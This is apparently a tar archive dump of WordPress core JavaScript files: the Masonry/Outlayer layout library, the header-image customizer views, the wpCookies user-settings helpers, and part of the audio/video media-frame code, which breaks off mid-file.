r=document.documentElement.style,s="string"==typeof r.transition?"transition":"WebkitTransition",a="string"==typeof r.transform?"transform":"WebkitTransform",h={WebkitTransition:"webkitTransitionEnd",transition:"transitionend"}[s],u={transform:a,transition:s,transitionDuration:s+"Duration",transitionProperty:s+"Property",transitionDelay:s+"Delay"},d=n.prototype=Object.create(t.prototype);d.constructor=n,d._create=function(){this._transn={ingProperties:{},clean:{},onEnd:{}},this.css({position:"absolute"})},d.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},d.getSize=function(){this.size=e(this.element)},d.css=function(t){var e=this.element.style;for(var i in t){var n=u[i]||i;e[n]=t[i]}},d.getPosition=function(){var t=getComputedStyle(this.element),e=this.layout._getOption("originLeft"),i=this.layout._getOption("originTop"),n=t[e?"left":"right"],o=t[i?"top":"bottom"],r=parseFloat(n),s=parseFloat(o),a=this.layout.size;-1!=n.indexOf("%")&&(r=r/100*a.width),-1!=o.indexOf("%")&&(s=s/100*a.height),r=isNaN(r)?0:r,s=isNaN(s)?0:s,r-=e?a.paddingLeft:a.paddingRight,s-=i?a.paddingTop:a.paddingBottom,this.position.x=r,this.position.y=s},d.layoutPosition=function(){var t=this.layout.size,e={},i=this.layout._getOption("originLeft"),n=this.layout._getOption("originTop"),o=i?"paddingLeft":"paddingRight",r=i?"left":"right",s=i?"right":"left",a=this.position.x+t[o];e[r]=this.getXValue(a),e[s]="";var h=n?"paddingTop":"paddingBottom",u=n?"top":"bottom",d=n?"bottom":"top",l=this.position.y+t[h];e[u]=this.getYValue(l),e[d]="",this.css(e),this.emitEvent("layout",[this])},d.getXValue=function(t){var e=this.layout._getOption("horizontal");return this.layout.options.percentPosition&&!e?t/this.layout.size.width*100+"%":t+"px"},d.getYValue=function(t){var e=this.layout._getOption("horizontal");return this.layout.options.percentPosition&&e?t/this.layout.size.height*100+"%":t+"px"},d._transitionTo=function(t,e){this.getPosition();var i=this.position.x,n=this.position.y,o=t==this.position.x&&e==this.position.y;if(this.setPosition(t,e),o&&!this.isTransitioning)return void this.layoutPosition();var r=t-i,s=e-n,a={};a.transform=this.getTranslate(r,s),this.transition({to:a,onTransitionEnd:{transform:this.layoutPosition},isCleaning:!0})},d.getTranslate=function(t,e){var i=this.layout._getOption("originLeft"),n=this.layout._getOption("originTop");return t=i?t:-t,e=n?e:-e,"translate3d("+t+"px, "+e+"px, 0)"},d.goTo=function(t,e){this.setPosition(t,e),this.layoutPosition()},d.moveTo=d._transitionTo,d.setPosition=function(t,e){this.position.x=parseFloat(t),this.position.y=parseFloat(e)},d._nonTransition=function(t){this.css(t.to),t.isCleaning&&this._removeStyles(t.to);for(var e in t.onTransitionEnd)t.onTransitionEnd[e].call(this)},d.transition=function(t){if(!parseFloat(this.layout.options.transitionDuration))return void this._nonTransition(t);var e=this._transn;for(var i in t.onTransitionEnd)e.onEnd[i]=t.onTransitionEnd[i];for(i in t.to)e.ingProperties[i]=!0,t.isCleaning&&(e.clean[i]=!0);if(t.from){this.css(t.from);var n=this.element.offsetHeight;n=null}this.enableTransition(t.to),this.css(t.to),this.isTransitioning=!0};var l="opacity,"+o(a);d.enableTransition=function(){if(!this.isTransitioning){var t=this.layout.options.transitionDuration;t="number"==typeof t?t+"ms":t,this.css({transitionProperty:l,transitionDuration:t,transitionDelay:this.staggerDelay||0}),this.element.addEventListener(h,this,!1)}},d.onwebkitTransitionEnd=function(t){this.ontransitionend(t)},d.onotransitionend=function(t){this.ontransitionend(t)};var c={"-webkit-transform":"transform"};d.ontransitionend=function(t){if(t.target===this.element){var e=this._transn,n=c[t.propertyName]||t.propertyName;if(delete e.ingProperties[n],i(e.ingProperties)&&this.disableTransition(),n in e.clean&&(this.element.style[t.propertyName]="",delete e.clean[n]),n in e.onEnd){var o=e.onEnd[n];o.call(this),delete e.onEnd[n]}this.emitEvent("transitionEnd",[this])}},d.disableTransition=function(){this.removeTransitionStyles(),this.element.removeEventListener(h,this,!1),this.isTransitioning=!1},d._removeStyles=function(t){var e={};for(var i in t)e[i]="";this.css(e)};var f={transitionProperty:"",transitionDuration:"",transitionDelay:""};return d.removeTransitionStyles=function(){this.css(f)},d.stagger=function(t){t=isNaN(t)?0:t,this.staggerDelay=t+"ms"},d.removeElem=function(){this.element.parentNode.removeChild(this.element),this.css({display:""}),this.emitEvent("remove",[this])},d.remove=function(){return s&&parseFloat(this.layout.options.transitionDuration)?(this.once("transitionEnd",function(){this.removeElem()}),void this.hide()):void this.removeElem()},d.reveal=function(){delete this.isHidden,this.css({display:""});var t=this.layout.options,e={},i=this.getHideRevealTransitionEndProperty("visibleStyle");e[i]=this.onRevealTransitionEnd,this.transition({from:t.hiddenStyle,to:t.visibleStyle,isCleaning:!0,onTransitionEnd:e})},d.onRevealTransitionEnd=function(){this.isHidden||this.emitEvent("reveal")},d.getHideRevealTransitionEndProperty=function(t){var e=this.layout.options[t];if(e.opacity)return"opacity";for(var i in e)return i},d.hide=function(){this.isHidden=!0,this.css({display:""});var t=this.layout.options,e={},i=this.getHideRevealTransitionEndProperty("hiddenStyle");e[i]=this.onHideTransitionEnd,this.transition({from:t.visibleStyle,to:t.hiddenStyle,isCleaning:!0,onTransitionEnd:e})},d.onHideTransitionEnd=function(){this.isHidden&&(this.css({display:"none"}),this.emitEvent("hide"))},d.destroy=function(){this.css({position:"",left:"",right:"",top:"",bottom:"",transition:"",transform:""})},n}),function(t,e){"use strict";"function"==typeof define&&define.amd?define("outlayer/outlayer",["ev-emitter/ev-emitter","get-size/get-size","fizzy-ui-utils/utils","./item"],function(i,n,o,r){return e(t,i,n,o,r)}):"object"==typeof module&&module.exports?module.exports=e(t,require("ev-emitter"),require("get-size"),require("fizzy-ui-utils"),require("./item")):t.Outlayer=e(t,t.EvEmitter,t.getSize,t.fizzyUIUtils,t.Outlayer.Item)}(window,function(t,e,i,n,o){"use strict";function r(t,e){var i=n.getQueryElement(t);if(!i)return void(h&&h.error("Bad element for "+this.constructor.namespace+": "+(i||t)));this.element=i,u&&(this.$element=u(this.element)),this.options=n.extend({},this.constructor.defaults),this.option(e);var o=++l;this.element.outlayerGUID=o,c[o]=this,this._create();var r=this._getOption("initLayout");r&&this.layout()}function s(t){function e(){t.apply(this,arguments)}return e.prototype=Object.create(t.prototype),e.prototype.constructor=e,e}function a(t){if("number"==typeof t)return t;var e=t.match(/(^\d*\.?\d*)(\w*)/),i=e&&e[1],n=e&&e[2];if(!i.length)return 0;i=parseFloat(i);var o=m[n]||1;return i*o}var h=t.console,u=t.jQuery,d=function(){},l=0,c={};r.namespace="outlayer",r.Item=o,r.defaults={containerStyle:{position:"relative"},initLayout:!0,originLeft:!0,originTop:!0,resize:!0,resizeContainer:!0,transitionDuration:"0.4s",hiddenStyle:{opacity:0,transform:"scale(0.001)"},visibleStyle:{opacity:1,transform:"scale(1)"}};var f=r.prototype;n.extend(f,e.prototype),f.option=function(t){n.extend(this.options,t)},f._getOption=function(t){var e=this.constructor.compatOptions[t];return e&&void 0!==this.options[e]?this.options[e]:this.options[t]},r.compatOptions={initLayout:"isInitLayout",horizontal:"isHorizontal",layoutInstant:"isLayoutInstant",originLeft:"isOriginLeft",originTop:"isOriginTop",resize:"isResizeBound",resizeContainer:"isResizingContainer"},f._create=function(){this.reloadItems(),this.stamps=[],this.stamp(this.options.stamp),n.extend(this.element.style,this.options.containerStyle);var t=this._getOption("resize");t&&this.bindResize()},f.reloadItems=function(){this.items=this._itemize(this.element.children)},f._itemize=function(t){for(var e=this._filterFindItemElements(t),i=this.constructor.Item,n=[],o=0;o<e.length;o++){var r=e[o],s=new i(r,this);n.push(s)}return n},f._filterFindItemElements=function(t){return n.filterFindElements(t,this.options.itemSelector)},f.getItemElements=function(){return this.items.map(function(t){return t.element})},f.layout=function(){this._resetLayout(),this._manageStamps();var t=this._getOption("layoutInstant"),e=void 0!==t?t:!this._isLayoutInited;this.layoutItems(this.items,e),this._isLayoutInited=!0},f._init=f.layout,f._resetLayout=function(){this.getSize()},f.getSize=function(){this.size=i(this.element)},f._getMeasurement=function(t,e){var n,o=this.options[t];o?("string"==typeof o?n=this.element.querySelector(o):o instanceof HTMLElement&&(n=o),this[t]=n?i(n)[e]:o):this[t]=0},f.layoutItems=function(t,e){t=this._getItemsForLayout(t),this._layoutItems(t,e),this._postLayout()},f._getItemsForLayout=function(t){return t.filter(function(t){return!t.isIgnored})},f._layoutItems=function(t,e){if(this._emitCompleteOnItems("layout",t),t&&t.length){var i=[];t.forEach(function(t){var n=this._getItemLayoutPosition(t);n.item=t,n.isInstant=e||t.isLayoutInstant,i.push(n)},this),this._processLayoutQueue(i)}},f._getItemLayoutPosition=function(){return{x:0,y:0}},f._processLayoutQueue=function(t){this.updateStagger(),t.forEach(function(t,e){this._positionItem(t.item,t.x,t.y,t.isInstant,e)},this)},f.updateStagger=function(){var t=this.options.stagger;return null===t||void 0===t?void(this.stagger=0):(this.stagger=a(t),this.stagger)},f._positionItem=function(t,e,i,n,o){n?t.goTo(e,i):(t.stagger(o*this.stagger),t.moveTo(e,i))},f._postLayout=function(){this.resizeContainer()},f.resizeContainer=function(){var t=this._getOption("resizeContainer");if(t){var e=this._getContainerSize();e&&(this._setContainerMeasure(e.width,!0),this._setContainerMeasure(e.height,!1))}},f._getContainerSize=d,f._setContainerMeasure=function(t,e){if(void 0!==t){var i=this.size;i.isBorderBox&&(t+=e?i.paddingLeft+i.paddingRight+i.borderLeftWidth+i.borderRightWidth:i.paddingBottom+i.paddingTop+i.borderTopWidth+i.borderBottomWidth),t=Math.max(t,0),this.element.style[e?"width":"height"]=t+"px"}},f._emitCompleteOnItems=function(t,e){function i(){o.dispatchEvent(t+"Complete",null,[e])}function n(){s++,s==r&&i()}var o=this,r=e.length;if(!e||!r)return void i();var s=0;e.forEach(function(e){e.once(t,n)})},f.dispatchEvent=function(t,e,i){var n=e?[e].concat(i):i;if(this.emitEvent(t,n),u)if(this.$element=this.$element||u(this.element),e){var o=u.Event(e);o.type=t,this.$element.trigger(o,i)}else this.$element.trigger(t,i)},f.ignore=function(t){var e=this.getItem(t);e&&(e.isIgnored=!0)},f.unignore=function(t){var e=this.getItem(t);e&&delete e.isIgnored},f.stamp=function(t){t=this._find(t),t&&(this.stamps=this.stamps.concat(t),t.forEach(this.ignore,this))},f.unstamp=function(t){t=this._find(t),t&&t.forEach(function(t){n.removeFrom(this.stamps,t),this.unignore(t)},this)},f._find=function(t){return t?("string"==typeof t&&(t=this.element.querySelectorAll(t)),t=n.makeArray(t)):void 0},f._manageStamps=function(){this.stamps&&this.stamps.length&&(this._getBoundingRect(),this.stamps.forEach(this._manageStamp,this))},f._getBoundingRect=function(){var t=this.element.getBoundingClientRect(),e=this.size;this._boundingRect={left:t.left+e.paddingLeft+e.borderLeftWidth,top:t.top+e.paddingTop+e.borderTopWidth,right:t.right-(e.paddingRight+e.borderRightWidth),bottom:t.bottom-(e.paddingBottom+e.borderBottomWidth)}},f._manageStamp=d,f._getElementOffset=function(t){var e=t.getBoundingClientRect(),n=this._boundingRect,o=i(t),r={left:e.left-n.left-o.marginLeft,top:e.top-n.top-o.marginTop,right:n.right-e.right-o.marginRight,bottom:n.bottom-e.bottom-o.marginBottom};return r},f.handleEvent=n.handleEvent,f.bindResize=function(){t.addEventListener("resize",this),this.isResizeBound=!0},f.unbindResize=function(){t.removeEventListener("resize",this),this.isResizeBound=!1},f.onresize=function(){this.resize()},n.debounceMethod(r,"onresize",100),f.resize=function(){this.isResizeBound&&this.needsResizeLayout()&&this.layout()},f.needsResizeLayout=function(){var t=i(this.element),e=this.size&&t;return e&&t.innerWidth!==this.size.innerWidth},f.addItems=function(t){var e=this._itemize(t);return e.length&&(this.items=this.items.concat(e)),e},f.appended=function(t){var e=this.addItems(t);e.length&&(this.layoutItems(e,!0),this.reveal(e))},f.prepended=function(t){var e=this._itemize(t);if(e.length){var i=this.items.slice(0);this.items=e.concat(i),this._resetLayout(),this._manageStamps(),this.layoutItems(e,!0),this.reveal(e),this.layoutItems(i)}},f.reveal=function(t){if(this._emitCompleteOnItems("reveal",t),t&&t.length){var e=this.updateStagger();t.forEach(function(t,i){t.stagger(i*e),t.reveal()})}},f.hide=function(t){if(this._emitCompleteOnItems("hide",t),t&&t.length){var e=this.updateStagger();t.forEach(function(t,i){t.stagger(i*e),t.hide()})}},f.revealItemElements=function(t){var e=this.getItems(t);this.reveal(e)},f.hideItemElements=function(t){var e=this.getItems(t);this.hide(e)},f.getItem=function(t){for(var e=0;e<this.items.length;e++){var i=this.items[e];if(i.element==t)return i}},f.getItems=function(t){t=n.makeArray(t);var e=[];return t.forEach(function(t){var i=this.getItem(t);i&&e.push(i)},this),e},f.remove=function(t){var e=this.getItems(t);this._emitCompleteOnItems("remove",e),e&&e.length&&e.forEach(function(t){t.remove(),n.removeFrom(this.items,t)},this)},f.destroy=function(){var t=this.element.style;t.height="",t.position="",t.width="",this.items.forEach(function(t){t.destroy()}),this.unbindResize();var e=this.element.outlayerGUID;delete c[e],delete this.element.outlayerGUID,u&&u.removeData(this.element,this.constructor.namespace)},r.data=function(t){t=n.getQueryElement(t);var e=t&&t.outlayerGUID;return e&&c[e]},r.create=function(t,e){var i=s(r);return i.defaults=n.extend({},r.defaults),n.extend(i.defaults,e),i.compatOptions=n.extend({},r.compatOptions),i.namespace=t,i.data=r.data,i.Item=s(o),n.htmlInit(i,t),u&&u.bridget&&u.bridget(t,i),i};var m={ms:1,s:1e3};return r.Item=o,r}),function(t,e){"function"==typeof define&&define.amd?define(["outlayer/outlayer","get-size/get-size"],e):"object"==typeof module&&module.exports?module.exports=e(require("outlayer"),require("get-size")):t.Masonry=e(t.Outlayer,t.getSize)}(window,function(t,e){var i=t.create("masonry");i.compatOptions.fitWidth="isFitWidth";var n=i.prototype;return n._resetLayout=function(){this.getSize(),this._getMeasurement("columnWidth","outerWidth"),this._getMeasurement("gutter","outerWidth"),this.measureColumns(),this.colYs=[];for(var t=0;t<this.cols;t++)this.colYs.push(0);this.maxY=0,this.horizontalColIndex=0},n.measureColumns=function(){if(this.getContainerWidth(),!this.columnWidth){var t=this.items[0],i=t&&t.element;this.columnWidth=i&&e(i).outerWidth||this.containerWidth}var n=this.columnWidth+=this.gutter,o=this.containerWidth+this.gutter,r=o/n,s=n-o%n,a=s&&1>s?"round":"floor";r=Math[a](r),this.cols=Math.max(r,1)},n.getContainerWidth=function(){var t=this._getOption("fitWidth"),i=t?this.element.parentNode:this.element,n=e(i);this.containerWidth=n&&n.innerWidth},n._getItemLayoutPosition=function(t){t.getSize();var e=t.size.outerWidth%this.columnWidth,i=e&&1>e?"round":"ceil",n=Math[i](t.size.outerWidth/this.columnWidth);n=Math.min(n,this.cols);for(var o=this.options.horizontalOrder?"_getHorizontalColPosition":"_getTopColPosition",r=this[o](n,t),s={x:this.columnWidth*r.col,y:r.y},a=r.y+t.size.outerHeight,h=n+r.col,u=r.col;h>u;u++)this.colYs[u]=a;return s},n._getTopColPosition=function(t){var e=this._getTopColGroup(t),i=Math.min.apply(Math,e);return{col:e.indexOf(i),y:i}},n._getTopColGroup=function(t){if(2>t)return this.colYs;for(var e=[],i=this.cols+1-t,n=0;i>n;n++)e[n]=this._getColGroupY(n,t);return e},n._getColGroupY=function(t,e){if(2>e)return this.colYs[t];var i=this.colYs.slice(t,t+e);return Math.max.apply(Math,i)},n._getHorizontalColPosition=function(t,e){var i=this.horizontalColIndex%this.cols,n=t>1&&i+t>this.cols;i=n?0:i;var o=e.size.outerWidth&&e.size.outerHeight;return this.horizontalColIndex=o?i+t:this.horizontalColIndex,{col:i,y:this._getColGroupY(i,t)}},n._manageStamp=function(t){var i=e(t),n=this._getElementOffset(t),o=this._getOption("originLeft"),r=o?n.left:n.right,s=r+i.outerWidth,a=Math.floor(r/this.columnWidth);a=Math.max(0,a);var h=Math.floor(s/this.columnWidth);h-=s%this.columnWidth?0:1,h=Math.min(this.cols-1,h);for(var u=this._getOption("originTop"),d=(u?n.top:n.bottom)+i.outerHeight,l=a;h>=l;l++)this.colYs[l]=Math.max(d,this.colYs[l])},n._getContainerSize=function(){this.maxY=Math.max.apply(Math,this.colYs);var t={height:this.maxY};return this._getOption("fitWidth")&&(t.width=this._getContainerFitWidth()),t},n._getContainerFitWidth=function(){for(var t=0,e=this.cols;--e&&0===this.colYs[e];)t++;return(this.cols-t)*this.columnWidth-this.gutter},n.needsResizeLayout=function(){var t=this.containerWidth;return this.getContainerWidth(),t!=this.containerWidth},i}); customize-views.min.js 0000644 00000004623 15111757752 0011061 0 ustar 00 /*! This file is auto-generated */ !function(i,e,o){var t;e&&e.customize&&((t=e.customize).HeaderTool.CurrentView=e.Backbone.View.extend({template:e.template("header-current"),initialize:function(){this.listenTo(this.model,"change",this.render),this.render()},render:function(){return this.$el.html(this.template(this.model.toJSON())),this.setButtons(),this},setButtons:function(){var e=i("#customize-control-header_image .actions .remove");this.model.get("choice")?e.show():e.hide()}}),t.HeaderTool.ChoiceView=e.Backbone.View.extend({template:e.template("header-choice"),className:"header-view",events:{"click .choice,.random":"select","click .close":"removeImage"},initialize:function(){var e=[this.model.get("header").url,this.model.get("choice")];this.listenTo(this.model,"change:selected",this.toggleSelected),o.contains(e,t.get().header_image)&&t.HeaderTool.currentHeader.set(this.extendedModel())},render:function(){return this.$el.html(this.template(this.extendedModel())),this.toggleSelected(),this},toggleSelected:function(){this.$el.toggleClass("selected",this.model.get("selected"))},extendedModel:function(){var e=this.model.get("collection");return o.extend(this.model.toJSON(),{type:e.type})},select:function(){this.preventJump(),this.model.save(),t.HeaderTool.currentHeader.set(this.extendedModel())},preventJump:function(){var e=i(".wp-full-overlay-sidebar-content"),t=e.scrollTop();o.defer(function(){e.scrollTop(t)})},removeImage:function(e){e.stopPropagation(),this.model.destroy(),this.remove()}}),t.HeaderTool.ChoiceListView=e.Backbone.View.extend({initialize:function(){this.listenTo(this.collection,"add",this.addOne),this.listenTo(this.collection,"remove",this.render),this.listenTo(this.collection,"sort",this.render),this.listenTo(this.collection,"change",this.toggleList),this.render()},render:function(){this.$el.empty(),this.collection.each(this.addOne,this),this.toggleList()},addOne:function(e){e.set({collection:this.collection}),e=new t.HeaderTool.ChoiceView({model:e}),this.$el.append(e.render().el)},toggleList:function(){var e=this.$el.parents().prev(".customize-control-title"),t=this.$el.find(".random").parent();this.collection.shouldHideTitle()?e.add(t).hide():e.add(t).show()}}),t.HeaderTool.CombinedList=e.Backbone.View.extend({initialize:function(e){this.collections=e,this.on("all",this.propagate,this)},propagate:function(t,i){o.each(this.collections,function(e){e.trigger(t,i)})}}))}(jQuery,window.wp,_); utils.min.js 0000644 00000003510 15111757752 0007036 0 ustar 00 /*! This file is auto-generated */ window.wpCookies={each:function(e,t,n){var i,s;if(!e)return 0;if(n=n||e,void 0!==e.length){for(i=0,s=e.length;i<s;i++)if(!1===t.call(n,e[i],i,e))return 0}else for(i in e)if(e.hasOwnProperty(i)&&!1===t.call(n,e[i],i,e))return 0;return 1},getHash:function(e){var t,e=this.get(e);return e&&this.each(e.split("&"),function(e){e=e.split("="),(t=t||{})[e[0]]=e[1]}),t},setHash:function(e,t,n,i,s,r){var o="";this.each(t,function(e,t){o+=(o?"&":"")+t+"="+e}),this.set(e,o,n,i,s,r)},get:function(e){var t,n,i=document.cookie,e=e+"=";if(i){if(-1===(n=i.indexOf("; "+e))){if(0!==(n=i.indexOf(e)))return null}else n+=2;return-1===(t=i.indexOf(";",n))&&(t=i.length),decodeURIComponent(i.substring(n+e.length,t))}},set:function(e,t,n,i,s,r){var o=new Date;n="object"==typeof n&&n.toGMTString?n.toGMTString():parseInt(n,10)?(o.setTime(o.getTime()+1e3*parseInt(n,10)),o.toGMTString()):"",document.cookie=e+"="+encodeURIComponent(t)+(n?"; expires="+n:"")+(i?"; path="+i:"")+(s?"; domain="+s:"")+(r?"; secure":"")},remove:function(e,t,n,i){this.set(e,"",-1e3,t,n,i)}},window.getUserSetting=function(e,t){var n=getAllUserSettings();return n.hasOwnProperty(e)?n[e]:void 0!==t?t:""},window.setUserSetting=function(e,t,n){var i,s,r,o;return"object"==typeof userSettings&&(i=userSettings.uid,s=wpCookies.getHash("wp-settings-"+i),r=userSettings.url,o=!!userSettings.secure,e=e.toString().replace(/[^A-Za-z0-9_-]/g,""),t="number"==typeof t?parseInt(t,10):t.toString().replace(/[^A-Za-z0-9_-]/g,""),s=s||{},n?delete s[e]:s[e]=t,wpCookies.setHash("wp-settings-"+i,s,31536e3,r,"",o),wpCookies.set("wp-settings-time-"+i,userSettings.time,31536e3,r,"",o),e)},window.deleteUserSetting=function(e){return setUserSetting(e,"",1)},window.getAllUserSettings=function(){return"object"==typeof userSettings&&wpCookies.getHash("wp-settings-"+userSettings.uid)||{}}; media-audiovideo.js 0000644 00000060363 15111757752 0010332 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ 175: /***/ ((module) => { var MediaDetails = wp.media.view.MediaFrame.MediaDetails, MediaLibrary = wp.media.controller.MediaLibrary, l10n = wp.media.view.l10n, AudioDetails; /** * wp.media.view.MediaFrame.AudioDetails * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.MediaFrame.MediaDetails * @augments wp.media.view.MediaFrame.Select * @augments wp.media.view.MediaFrame * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ AudioDetails = MediaDetails.extend(/** @lends wp.media.view.MediaFrame.AudioDetails.prototype */{ defaults: { id: 'audio', url: '', menu: 'audio-details', content: 'audio-details', toolbar: 'audio-details', type: 'link', title: l10n.audioDetailsTitle, priority: 120 }, initialize: function( options ) { options.DetailsView = wp.media.view.AudioDetails; options.cancelText = l10n.audioDetailsCancel; options.addText = l10n.audioAddSourceTitle; MediaDetails.prototype.initialize.call( this, options ); }, bindHandlers: function() { MediaDetails.prototype.bindHandlers.apply( this, arguments ); this.on( 'toolbar:render:replace-audio', this.renderReplaceToolbar, this ); this.on( 'toolbar:render:add-audio-source', this.renderAddSourceToolbar, this ); }, createStates: function() { this.states.add([ new wp.media.controller.AudioDetails( { media: this.media } ), new MediaLibrary( { type: 'audio', id: 'replace-audio', title: l10n.audioReplaceTitle, toolbar: 'replace-audio', media: this.media, menu: 'audio-details' } ), new MediaLibrary( { type: 'audio', id: 'add-audio-source', title: l10n.audioAddSourceTitle, toolbar: 'add-audio-source', media: this.media, menu: false } ) ]); } }); module.exports = AudioDetails; /***/ }), /***/ 241: /***/ ((module) => { /** * wp.media.model.PostMedia * * Shared model class for audio and video. Updates the model after * "Add Audio|Video Source" and "Replace Audio|Video" states return * * @memberOf wp.media.model * * @class * @augments Backbone.Model */ var PostMedia = Backbone.Model.extend(/** @lends wp.media.model.PostMedia.prototype */{ initialize: function() { this.attachment = false; }, setSource: function( attachment ) { this.attachment = attachment; this.extension = attachment.get( 'filename' ).split('.').pop(); if ( this.get( 'src' ) && this.extension === this.get( 'src' ).split('.').pop() ) { this.unset( 'src' ); } if ( _.contains( wp.media.view.settings.embedExts, this.extension ) ) { this.set( this.extension, this.attachment.get( 'url' ) ); } else { this.unset( this.extension ); } }, changeAttachment: function( attachment ) { this.setSource( attachment ); this.unset( 'src' ); _.each( _.without( wp.media.view.settings.embedExts, this.extension ), function( ext ) { this.unset( ext ); }, this ); } }); module.exports = PostMedia; /***/ }), /***/ 741: /***/ ((module) => { var Select = wp.media.view.MediaFrame.Select, l10n = wp.media.view.l10n, MediaDetails; /** * wp.media.view.MediaFrame.MediaDetails * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.MediaFrame.Select * @augments wp.media.view.MediaFrame * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ MediaDetails = Select.extend(/** @lends wp.media.view.MediaFrame.MediaDetails.prototype */{ defaults: { id: 'media', url: '', menu: 'media-details', content: 'media-details', toolbar: 'media-details', type: 'link', priority: 120 }, initialize: function( options ) { this.DetailsView = options.DetailsView; this.cancelText = options.cancelText; this.addText = options.addText; this.media = new wp.media.model.PostMedia( options.metadata ); this.options.selection = new wp.media.model.Selection( this.media.attachment, { multiple: false } ); Select.prototype.initialize.apply( this, arguments ); }, bindHandlers: function() { var menu = this.defaults.menu; Select.prototype.bindHandlers.apply( this, arguments ); this.on( 'menu:create:' + menu, this.createMenu, this ); this.on( 'content:render:' + menu, this.renderDetailsContent, this ); this.on( 'menu:render:' + menu, this.renderMenu, this ); this.on( 'toolbar:render:' + menu, this.renderDetailsToolbar, this ); }, renderDetailsContent: function() { var view = new this.DetailsView({ controller: this, model: this.state().media, attachment: this.state().media.attachment }).render(); this.content.set( view ); }, renderMenu: function( view ) { var lastState = this.lastState(), previous = lastState && lastState.id, frame = this; view.set({ cancel: { text: this.cancelText, priority: 20, click: function() { if ( previous ) { frame.setState( previous ); } else { frame.close(); } } }, separateCancel: new wp.media.View({ className: 'separator', priority: 40 }) }); }, setPrimaryButton: function(text, handler) { this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { button: { style: 'primary', text: text, priority: 80, click: function() { var controller = this.controller; handler.call( this, controller, controller.state() ); // Restore and reset the default state. controller.setState( controller.options.state ); controller.reset(); } } } }) ); }, renderDetailsToolbar: function() { this.setPrimaryButton( l10n.update, function( controller, state ) { controller.close(); state.trigger( 'update', controller.media.toJSON() ); } ); }, renderReplaceToolbar: function() { this.setPrimaryButton( l10n.replace, function( controller, state ) { var attachment = state.get( 'selection' ).single(); controller.media.changeAttachment( attachment ); state.trigger( 'replace', controller.media.toJSON() ); } ); }, renderAddSourceToolbar: function() { this.setPrimaryButton( this.addText, function( controller, state ) { var attachment = state.get( 'selection' ).single(); controller.media.setSource( attachment ); state.trigger( 'add-source', controller.media.toJSON() ); } ); } }); module.exports = MediaDetails; /***/ }), /***/ 1206: /***/ ((module) => { var State = wp.media.controller.State, l10n = wp.media.view.l10n, AudioDetails; /** * wp.media.controller.AudioDetails * * The controller for the Audio Details state * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model */ AudioDetails = State.extend(/** @lends wp.media.controller.AudioDetails.prototype */{ defaults: { id: 'audio-details', toolbar: 'audio-details', title: l10n.audioDetailsTitle, content: 'audio-details', menu: 'audio-details', router: false, priority: 60 }, initialize: function( options ) { this.media = options.media; State.prototype.initialize.apply( this, arguments ); } }); module.exports = AudioDetails; /***/ }), /***/ 3713: /***/ ((module) => { var MediaDetails = wp.media.view.MediaDetails, AudioDetails; /** * wp.media.view.AudioDetails * * @memberOf wp.media.view * * @class * @augments wp.media.view.MediaDetails * @augments wp.media.view.Settings.AttachmentDisplay * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ AudioDetails = MediaDetails.extend(/** @lends wp.media.view.AudioDetails.prototype */{ className: 'audio-details', template: wp.template('audio-details'), setMedia: function() { var audio = this.$('.wp-audio-shortcode'); if ( audio.find( 'source' ).length ) { if ( audio.is(':hidden') ) { audio.show(); } this.media = MediaDetails.prepareSrc( audio.get(0) ); } else { audio.hide(); this.media = false; } return this; } }); module.exports = AudioDetails; /***/ }), /***/ 5039: /***/ ((module) => { /** * wp.media.controller.VideoDetails * * The controller for the Video Details state * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model */ var State = wp.media.controller.State, l10n = wp.media.view.l10n, VideoDetails; VideoDetails = State.extend(/** @lends wp.media.controller.VideoDetails.prototype */{ defaults: { id: 'video-details', toolbar: 'video-details', title: l10n.videoDetailsTitle, content: 'video-details', menu: 'video-details', router: false, priority: 60 }, initialize: function( options ) { this.media = options.media; State.prototype.initialize.apply( this, arguments ); } }); module.exports = VideoDetails; /***/ }), /***/ 5836: /***/ ((module) => { var MediaDetails = wp.media.view.MediaDetails, VideoDetails; /** * wp.media.view.VideoDetails * * @memberOf wp.media.view * * @class * @augments wp.media.view.MediaDetails * @augments wp.media.view.Settings.AttachmentDisplay * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ VideoDetails = MediaDetails.extend(/** @lends wp.media.view.VideoDetails.prototype */{ className: 'video-details', template: wp.template('video-details'), setMedia: function() { var video = this.$('.wp-video-shortcode'); if ( video.find( 'source' ).length ) { if ( video.is(':hidden') ) { video.show(); } if ( ! video.hasClass( 'youtube-video' ) && ! video.hasClass( 'vimeo-video' ) ) { this.media = MediaDetails.prepareSrc( video.get(0) ); } else { this.media = video.get(0); } } else { video.hide(); this.media = false; } return this; } }); module.exports = VideoDetails; /***/ }), /***/ 8646: /***/ ((module) => { var MediaDetails = wp.media.view.MediaFrame.MediaDetails, MediaLibrary = wp.media.controller.MediaLibrary, l10n = wp.media.view.l10n, VideoDetails; /** * wp.media.view.MediaFrame.VideoDetails * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.MediaFrame.MediaDetails * @augments wp.media.view.MediaFrame.Select * @augments wp.media.view.MediaFrame * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ VideoDetails = MediaDetails.extend(/** @lends wp.media.view.MediaFrame.VideoDetails.prototype */{ defaults: { id: 'video', url: '', menu: 'video-details', content: 'video-details', toolbar: 'video-details', type: 'link', title: l10n.videoDetailsTitle, priority: 120 }, initialize: function( options ) { options.DetailsView = wp.media.view.VideoDetails; options.cancelText = l10n.videoDetailsCancel; options.addText = l10n.videoAddSourceTitle; MediaDetails.prototype.initialize.call( this, options ); }, bindHandlers: function() { MediaDetails.prototype.bindHandlers.apply( this, arguments ); this.on( 'toolbar:render:replace-video', this.renderReplaceToolbar, this ); this.on( 'toolbar:render:add-video-source', 